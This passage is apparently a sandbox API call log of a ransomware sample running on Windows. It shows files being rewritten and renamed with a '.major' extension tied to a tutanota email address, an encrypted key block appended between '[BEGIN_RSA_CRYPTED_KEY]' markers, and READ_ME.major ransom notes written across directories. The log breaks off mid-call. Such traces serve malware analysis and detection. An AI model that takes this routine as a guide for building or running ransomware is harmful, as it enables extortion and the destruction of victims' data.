Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x80) returned 1 [0144.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5bf3d8 [0144.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5c1ce8 [0144.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0144.703] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0144.703] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1072) returned 1 [0144.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x430) returned 0x5b5a90 [0144.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x430) returned 0x630890 [0144.704] ReadFile (in: hFile=0x5c0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x430, lpOverlapped=0x0) returned 1 [0144.705] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.705] WriteFile (in: hFile=0x5c0, lpBuffer=0x630890*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x630890*, lpNumberOfBytesWritten=0x2e3f9b4*=0x430, lpOverlapped=0x0) returned 1 [0144.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0144.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630890 | out: hHeap=0x570000) returned 1 [0144.705] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x430 [0144.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.705] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0144.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mQgJfkGBrZ7I/6axzSt2dVGYfIzQuGcxpVRNKiFL9tTcDUtuj8sQj/7M5GDSDowF\nV/GLfZxFUeN8c55nVvV6jg4TzJ3odJgfECk9S7/CcRGcEGZyCAz0ObfwtLb7NApl\nGxD70FlCYbG7dd4EhuXe+9QjyI1hOV8vecy43s9cvz3afY7hGnJFKXEVCm/5ccrg\ndr0V5YOwZNcRteWgApxJUxvHVmpMQ0fw7tv6bszLTMmoUsSs5QoZQ7Y62n3VbK1x\nre6OFXa/j3ghSrgIqEE9N/WBhsCcPVODQnEdUnl1Oct9bJI3bDglpjg4U5Vg+vCt\nq7zuAwUodMKQa1MX4bpEqw==\n", pcchString=0x2e3f9a8) returned 1 [0144.705] WriteFile (in: hFile=0x5c0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.705] WriteFile (in: hFile=0x5c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.706] CloseHandle (hObject=0x5c0) returned 1 [0144.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0144.706] MoveFileExW (lpExistingFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), lpNewFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0144.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edb0 | out: hHeap=0x570000) returned 1 [0144.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0144.710] FindFirstFileW (in: lpFileName="\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eda8 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.710] GetLastError () returned 0x0 [0144.710] SetLastError (dwErrCode=0x0) [0144.710] GetLastError () returned 0x0 [0144.710] SetLastError (dwErrCode=0x0) [0144.710] GetLastError () returned 0x0 [0144.710] SetLastError (dwErrCode=0x0) [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ea68 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ea68 | out: hHeap=0x570000) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.710] FindNextFileW (in: hFindFile=0x60eda8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eea8 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eea8 | out: hHeap=0x570000) returned 1 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.711] FindNextFileW (in: hFindFile=0x60eda8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] GetLastError () returned 0x0 [0144.711] SetLastError (dwErrCode=0x0) [0144.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.712] FindNextFileW (in: hFindFile=0x60eda8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0144.712] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.712] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Templates\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0144.712] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e9a8 [0144.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0144.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eea8 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eea8 | out: hHeap=0x570000) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0144.713] FindNextFileW (in: hFindFile=0x60e9a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x15106b43, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] GetLastError () returned 0x5 [0144.713] SetLastError (dwErrCode=0x5) [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efa8 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efa8 | out: hHeap=0x570000) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x60e9a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15106b43, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15106b43, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1512cd5c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0144.714] GetLastError () returned 0x5 [0144.714] SetLastError (dwErrCode=0x5) [0144.714] GetLastError () returned 0x5 [0144.714] SetLastError (dwErrCode=0x5) [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0144.714] GetLastError () returned 0x5 [0144.714] SetLastError (dwErrCode=0x5) [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0144.714] FindNextFileW (in: hFindFile=0x60e9a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94667e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x94667e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0144.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.714] GetLastError () returned 0x5 [0144.714] SetLastError (dwErrCode=0x5) [0144.715] GetLastError () returned 0x5 [0144.715] SetLastError (dwErrCode=0x5) [0144.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0144.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.718] GetLastError () returned 0x5 [0144.718] SetLastError (dwErrCode=0x5) [0144.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0144.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0144.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.719] GetLastError () returned 0x5 [0144.719] SetLastError (dwErrCode=0x5) [0144.719] GetLastError () returned 0x5 [0144.719] SetLastError (dwErrCode=0x5) [0144.719] GetLastError () returned 0x5 [0144.719] SetLastError (dwErrCode=0x5) [0144.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0144.719] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\READ_ME.major" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0144.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0144.720] WriteFile (in: hFile=0x5c8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.721] CloseHandle (hObject=0x5c8) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.721] FindNextFileW (in: hFindFile=0x60e9a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94667e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x94667e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0144.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.721] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOShared\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, 